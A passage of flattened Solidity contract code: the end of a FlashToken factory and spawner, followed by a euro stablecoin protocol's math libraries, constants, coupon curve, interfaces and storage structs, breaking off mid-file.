contract. /// @return safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection. function _getNextNonceTargetWithInitCodeHash( address creator, bytes32 initCodeHash ) private view returns (address target, bytes32 safeSalt) { // set the initial nonce to be provided when constructing the salt. uint256 nonce = 0; while (true) { // get safeSalt from nonce safeSalt = keccak256(abi.encodePacked(creator, nonce)); // get expected target target = _computeTargetWithCodeHash(initCodeHash, safeSalt); // validate no contract already deployed to the target address. // exit the loop if no contract is deployed to the target address. // otherwise, increment the nonce and derive a new salt. if (_getTargetValidity(target)) break; else nonce++; } // explicit return return (target, safeSalt); } /// @notice Private pure function for obtaining the initCode and the initCodeHash of `logicContract` and `initializationCalldata`. /// @param logicContract address The address of the logic contract. /// @param initializationCalldata bytes The calldata that will be supplied to /// the `DELEGATECALL` from the spawned contract to the logic contract during /// contract creation. /// @return initCode bytes The spawner code and initialization calldata. /// @return initCodeHash bytes32 The hash of initCode. function _getInitCodeAndHash( address logicContract, bytes memory initializationCalldata ) private pure returns (bytes memory initCode, bytes32 initCodeHash) { // place creation code and constructor args of contract to spawn in memory. initCode = abi.encodePacked( type(Spawn).creationCode, abi.encode(logicContract, initializationCalldata) ); // get the keccak256 hash of the init code for address derivation. initCodeHash = keccak256(initCode); // explicit return return (initCode, initCodeHash); } /// @notice Private view function for finding the expected address of the standard /// eip-1167 minimal proxy created using `CREATE2` with a given logic contract, /// salt, and initialization calldata payload. /// @param initCodeHash bytes32 The hash of initCode. /// @param safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection. /// @return The address of the proxy contract with the given parameters. function _computeTargetWithCodeHash( bytes32 initCodeHash, bytes32 safeSalt ) private view returns (address target) { return address( // derive the target deployment address. uint160( // downcast to match the address type. uint256( // cast to uint to truncate upper digits. keccak256( // compute CREATE2 hash using 4 inputs. abi.encodePacked( // pack all inputs to the hash together. bytes1(0xff), // pass in the control character. address(this), // pass in the address of this contract. safeSalt, // pass in the safeSalt from above. initCodeHash // pass in hash of contract creation code. ) ) ) ) ); } /// @notice Private view function to validate if the `target` address is an available deployment address. /// @param target address The address to validate. /// @return validity bool True if the `target` is available. function _getTargetValidity(address target) private view returns (bool validity) { // validate no contract already deployed to the target address. uint256 codeSize; assembly { codeSize := extcodesize(target) } return codeSize == 0; } } /// @title FlashTokenFactory /// @author Stephane Gosselin (@thegostep) /// @notice An Erasure style factory for Wrapping FlashTokens contract FlashTokenFactory is Spawner { uint256 private _tokenCount; address private _templateContract; mapping(address => address) private _baseToFlash; mapping(address => address) private _flashToBase; mapping(uint256 => address) private _idToBase; event TemplateSet(address indexed templateContract); event FlashTokenCreated( address indexed token, address indexed flashToken, uint256 tokenID ); /// @notice Initialize factory with template contract. constructor(address templateContract) public { _templateContract = templateContract; emit TemplateSet(templateContract); } /// @notice Create a FlashToken wrap for any ERC20 token function createFlashToken(address token) public returns (address flashToken) { require(token != address(0), "cannot wrap address 0"); if (_baseToFlash[token] != address(0)) { return _baseToFlash[token]; } else { require(_baseToFlash[token] == address(0), "token already wrapped"); flashToken = _flashWrap(token); _baseToFlash[token] = flashToken; _flashToBase[flashToken] = token; _tokenCount += 1; _idToBase[_tokenCount] = token; emit FlashTokenCreated(token, flashToken, _tokenCount); return flashToken; } } /// @notice Initialize instance function _flashWrap(address token) private returns (address flashToken) { FlashToken template; bytes memory initCalldata = abi.encodeWithSelector( template.initialize.selector, token ); return Spawner._spawn(address(this), _templateContract, initCalldata); } // Getters /// @notice Get FlashToken contract associated with given ERC20 token function getFlashToken(address token) public view returns (address flashToken) { return _baseToFlash[token]; } /// @notice Get ERC20 token contract associated with given FlashToken function getBaseToken(address flashToken) public view returns (address token) { return _flashToBase[flashToken]; } /// @notice Get ERC20 token contract associated with given FlashToken ID function getBaseFromID(uint256 tokenID) public view returns (address token) { return _idToBase[tokenID]; } /// @notice Get count of FlashToken contracts created from this factory function getTokenCount() public view returns (uint256 tokenCount) { return _tokenCount; } }
DC1
pragma solidity ^0.5.17; pragma experimental ABIEncoderV2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* Copyright 2019 dYdX Trading Inc. Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** * @title Decimal * @author dYdX * * Library that defines a fixed-point number with 18 decimal places. */ library Decimal { using SafeMath for uint256; // ============ Constants ============ uint256 constant BASE = 10**18; // ============ Structs ============ struct D256 { uint256 value; } // ============ Static Functions ============ function zero() internal pure returns (D256 memory) { return D256({ value: 0 }); } function one() internal pure returns (D256 memory) { return D256({ value: BASE }); } function from( uint256 a ) internal pure returns (D256 memory) { return D256({ value: a.mul(BASE) }); } function ratio( uint256 a, uint256 b ) internal pure returns (D256 memory) { return D256({ value: getPartial(a, BASE, b) }); } // ============ Self Functions ============ function add( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE)) }); } function sub( D256 memory self, uint256 b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.mul(BASE), reason) }); } function mul( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.mul(b) }); } function div( D256 memory self, uint256 b ) internal pure returns (D256 memory) { return D256({ value: self.value.div(b) }); } function pow( D256 memory self, uint256 b ) internal pure returns (D256 memory) { if (b == 0) { return from(1); } D256 memory temp = D256({ value: self.value }); for (uint256 i = 1; i < b; i++) { temp = mul(temp, self); } return temp; } function add( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.add(b.value) }); } function sub( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value) }); } function sub( D256 memory self, D256 memory b, string memory reason ) internal pure returns (D256 memory) { return D256({ value: self.value.sub(b.value, reason) }); } function mul( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, b.value, BASE) }); } function div( D256 memory self, D256 memory b ) internal pure returns (D256 memory) { return D256({ value: getPartial(self.value, BASE, b.value) }); } function equals(D256 memory self, D256 memory b) internal pure returns (bool) { return self.value == b.value; } function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 2; } function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) == 0; } function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) > 0; } function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) { return compareTo(self, b) < 2; } function isZero(D256 memory self) internal pure returns (bool) { return self.value == 0; } function asUint256(D256 memory self) internal pure returns (uint256) { return self.value.div(BASE); } // ============ Core Methods ============ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) private pure returns (uint256) { return target.mul(numerator).div(denominator); } function compareTo( D256 memory a, D256 memory b ) private pure returns (uint256) { if (a.value == b.value) { return 1; } return a.value > b.value ? 2 : 0; } } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ library Constants { /* Chain */ uint256 private constant CHAIN_ID = 1; // Development - 1337, Rinkeby - 4, Mainnet - 1 /* Bootstrapping */ uint256 private constant BOOTSTRAPPING_PERIOD = 90; uint256 private constant BOOTSTRAPPING_PRICE = 11e17; // 10% higher uint256 private constant BOOTSTRAPPING_POOL_REWARD = 100000e18; // 100k eEUR /* Oracle */ address private constant USDC = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // mainnet uint256 private constant ORACLE_RESERVE_MINIMUM = 10000e6; // 10,000 USDC /* Bonding */ uint256 private constant INITIAL_STAKE_MULTIPLE = 1e6; // 100 eEUR -> 100M eEURS /* Epoch */ struct EpochStrategy { uint256 offset; uint256 start; uint256 period; } uint256 private constant EPOCH_OFFSET = 0; uint256 private constant EPOCH_START = 1610812800; uint256 private constant EPOCH_PERIOD = 28800; /* Governance */ uint256 private constant GOVERNANCE_PERIOD = 9; // 9 epochs uint256 private constant GOVERNANCE_EXPIRATION = 2; // 2 + 1 epochs uint256 private constant GOVERNANCE_QUORUM = 20e16; // 20% uint256 private constant GOVERNANCE_PROPOSAL_THRESHOLD = 5e15; // 0.5% uint256 private constant GOVERNANCE_SUPER_MAJORITY = 66e16; // 66% uint256 private constant GOVERNANCE_EMERGENCY_DELAY = 6; // 6 epochs /* DAO */ uint256 private constant ADVANCE_INCENTIVE = 100e18; // 100 eEUR uint256 private constant LOW_ADVANCE_INCENTIVE = 10e18; // 10 eEUR uint256 private constant LOW_ADVANCE_REWARDS_PERIOD = 21; // low rewards for a week uint256 private constant DAO_EXIT_LOCKUP_EPOCHS = 15; // 15 epochs fluid /* Pool */ uint256 private constant POOL_EXIT_LOCKUP_EPOCHS = 5; // 5 epochs fluid /* Market */ uint256 private constant COUPON_EXPIRATION = 90; uint256 private constant DEBT_RATIO_CAP = 15e16; // 15% uint256 private constant INITIAL_COUPON_REDEMPTION_PENALTY = 50e16; // 50% uint256 private constant COUPON_REDEMPTION_PENALTY_DECAY = 3600; // 1 hour /* Regulator */ uint256 private constant SUPPLY_CHANGE_LIMIT = 3e16; // 3% uint256 private constant COUPON_SUPPLY_CHANGE_LIMIT = 6e16; // 6% uint256 private constant ORACLE_POOL_RATIO = 20; // 20% uint256 private constant TREASURY_RATIO = 250; // 2.5% /* Deployed */ //TODO(laireht): Uncomment and replace with new addresses after first deployment // address private constant DAO_ADDRESS = address(0); // address private constant DOLLAR_ADDRESS = address(0); // address private constant PAIR_ADDRESS = address(0); /** * Getters */ function getUsdcAddress() internal pure returns (address) { return USDC; } function getOracleReserveMinimum() internal pure returns (uint256) { return ORACLE_RESERVE_MINIMUM; } function getEpochStrategy() internal pure returns (EpochStrategy memory) { return EpochStrategy({ offset : EPOCH_OFFSET, start : EPOCH_START, period : EPOCH_PERIOD }); } function getEpochPeriod() internal pure returns (uint256) { return EPOCH_PERIOD; } function getInitialStakeMultiple() internal pure returns (uint256) { return INITIAL_STAKE_MULTIPLE; } function getBootstrappingPeriod() internal pure returns (uint256) { return BOOTSTRAPPING_PERIOD; } function getBootstrappingPrice() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value : BOOTSTRAPPING_PRICE}); } function getBootstrappingPoolReward() internal pure returns (uint256) { return BOOTSTRAPPING_POOL_REWARD; } function getGovernancePeriod() internal pure returns (uint256) { return GOVERNANCE_PERIOD; } function getGovernanceExpiration() internal pure returns (uint256) { return GOVERNANCE_EXPIRATION; } function getGovernanceQuorum() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value : GOVERNANCE_QUORUM}); } function getGovernanceProposalThreshold() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value : GOVERNANCE_PROPOSAL_THRESHOLD}); } function getGovernanceSuperMajority() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value : GOVERNANCE_SUPER_MAJORITY}); } function getGovernanceEmergencyDelay() internal pure returns (uint256) { return GOVERNANCE_EMERGENCY_DELAY; } function getAdvanceIncentive() internal pure returns (uint256) { return ADVANCE_INCENTIVE; } function getLowAdvanceIncentive() internal pure returns (uint256) { return LOW_ADVANCE_INCENTIVE; } function getLowAdvanceRewardsPeriod() internal pure returns (uint256) { return LOW_ADVANCE_REWARDS_PERIOD; } function getDAOExitLockupEpochs() internal pure returns (uint256) { return DAO_EXIT_LOCKUP_EPOCHS; } function getPoolExitLockupEpochs() internal pure returns (uint256) { return POOL_EXIT_LOCKUP_EPOCHS; } function getCouponExpiration() internal pure returns (uint256) { return COUPON_EXPIRATION; } function getDebtRatioCap() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value : DEBT_RATIO_CAP}); } function getSupplyChangeLimit() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value : SUPPLY_CHANGE_LIMIT}); } function getCouponSupplyChangeLimit() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value : COUPON_SUPPLY_CHANGE_LIMIT}); } function getOraclePoolRatio() internal pure returns (uint256) { return ORACLE_POOL_RATIO; } function getTreasuryRatio() internal pure returns (uint256) { return TREASURY_RATIO; } function getChainId() internal pure returns (uint256) { return CHAIN_ID; } function getInitialCouponRedemptionPenalty() internal pure returns (Decimal.D256 memory) { return Decimal.D256({value : INITIAL_COUPON_REDEMPTION_PENALTY}); } function getCouponRedemptionPenaltyDecay() internal pure returns (uint256) { return COUPON_REDEMPTION_PENALTY_DECAY; } // function getDaoAddress() internal pure returns (address) { // return DAO_ADDRESS; // } // // function getDollarAddress() internal pure returns (address) { // return DOLLAR_ADDRESS; // } // // function getPairAddress() internal pure returns (address) { // return PAIR_ADDRESS; // } // } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Curve { using SafeMath for uint256; using Decimal for Decimal.D256; function calculateCouponPremium( uint256 totalSupply, uint256 totalDebt, uint256 amount ) internal pure returns (uint256) { return effectivePremium(totalSupply, totalDebt, amount).mul(amount).asUint256(); } function effectivePremium( uint256 totalSupply, uint256 totalDebt, uint256 amount ) private pure returns (Decimal.D256 memory) { Decimal.D256 memory debtRatio = Decimal.ratio(totalDebt, totalSupply); Decimal.D256 memory debtRatioUpperBound = Constants.getDebtRatioCap(); uint256 totalSupplyEnd = totalSupply.sub(amount); uint256 totalDebtEnd = totalDebt.sub(amount); Decimal.D256 memory debtRatioEnd = Decimal.ratio(totalDebtEnd, totalSupplyEnd); if (debtRatio.greaterThan(debtRatioUpperBound)) { if (debtRatioEnd.greaterThan(debtRatioUpperBound)) { return curve(debtRatioUpperBound); } Decimal.D256 memory premiumCurve = curveMean(debtRatioEnd, debtRatioUpperBound); Decimal.D256 memory premiumCurveDelta = debtRatioUpperBound.sub(debtRatioEnd); Decimal.D256 memory premiumFlat = curve(debtRatioUpperBound); Decimal.D256 memory premiumFlatDelta = debtRatio.sub(debtRatioUpperBound); return (premiumCurve.mul(premiumCurveDelta)).add(premiumFlat.mul(premiumFlatDelta)) .div(premiumCurveDelta.add(premiumFlatDelta)); } return curveMean(debtRatioEnd, debtRatio); } // 1/((1-R)^2)-1 function curve(Decimal.D256 memory debtRatio) private pure returns (Decimal.D256 memory) { return Decimal.one().div( (Decimal.one().sub(debtRatio)).pow(2) ).sub(Decimal.one()); } // 1/((1-R)(1-R'))-1 function curveMean( Decimal.D256 memory lower, Decimal.D256 memory upper ) private pure returns (Decimal.D256 memory) { if (lower.equals(upper)) { return curve(lower); } return Decimal.one().div( (Decimal.one().sub(upper)).mul(Decimal.one().sub(lower)) ).sub(Decimal.one()); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IEuro is IERC20 { function burn(uint256 amount) public; function burnFrom(address account, uint256 amount) public; function mint(address account, uint256 amount) public returns (bool); } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IOracle { function setup() public; function capture() public returns (Decimal.D256 memory, bool); function pair() external view returns (address); } /* Copyright 2020 Elastic Network, based on the work of Empty Set Squad and Dynamic Dollar Devs <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract Account { enum Status { Frozen, Fluid, Locked } struct State { uint256 staged; uint256 balance; mapping(uint256 => uint256) coupons; mapping(address => uint256) couponAllowances; uint256 fluidUntil; uint256 lockedUntil; } } contract Epoch { struct Global { uint256 start; uint256 period; uint256 current; } struct Coupons { uint256 outstanding; uint256 expiration; uint256[] expiring; } struct State { uint256 bonded; Coupons coupons; } } contract Candidate { enum Vote { UNDECIDED, APPROVE, REJECT } struct State { uint256 start; uint256 period; uint256 approve; uint256 reject; mapping(address => Vote) votes; bool initialized; } } contract Storage { struct Provider { IEuro euro; IOracle oracle; IOracle eurOracle; address pool; } struct Balance { uint256 supply; uint256 bonded; uint256 staged; uint256 redeemable; uint256 debt; uint256 coupons; } struct TreasuryCoin { uint256 balance; } struct State { Epoch.Global epoch; Balance balance; Provider provider; uint256 couponUnderlying; mapping(address => Account.State) accounts; mapping(uint256 => Epoch.State) epochs; mapping(address => Candidate.State) candidates; mapping(address => TreasuryCoin) treasuryCoins; mapping(address => mapping(uint256 => uint256)) couponUnderlyingByAccount; } } contract State { Storage.State _state; } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). 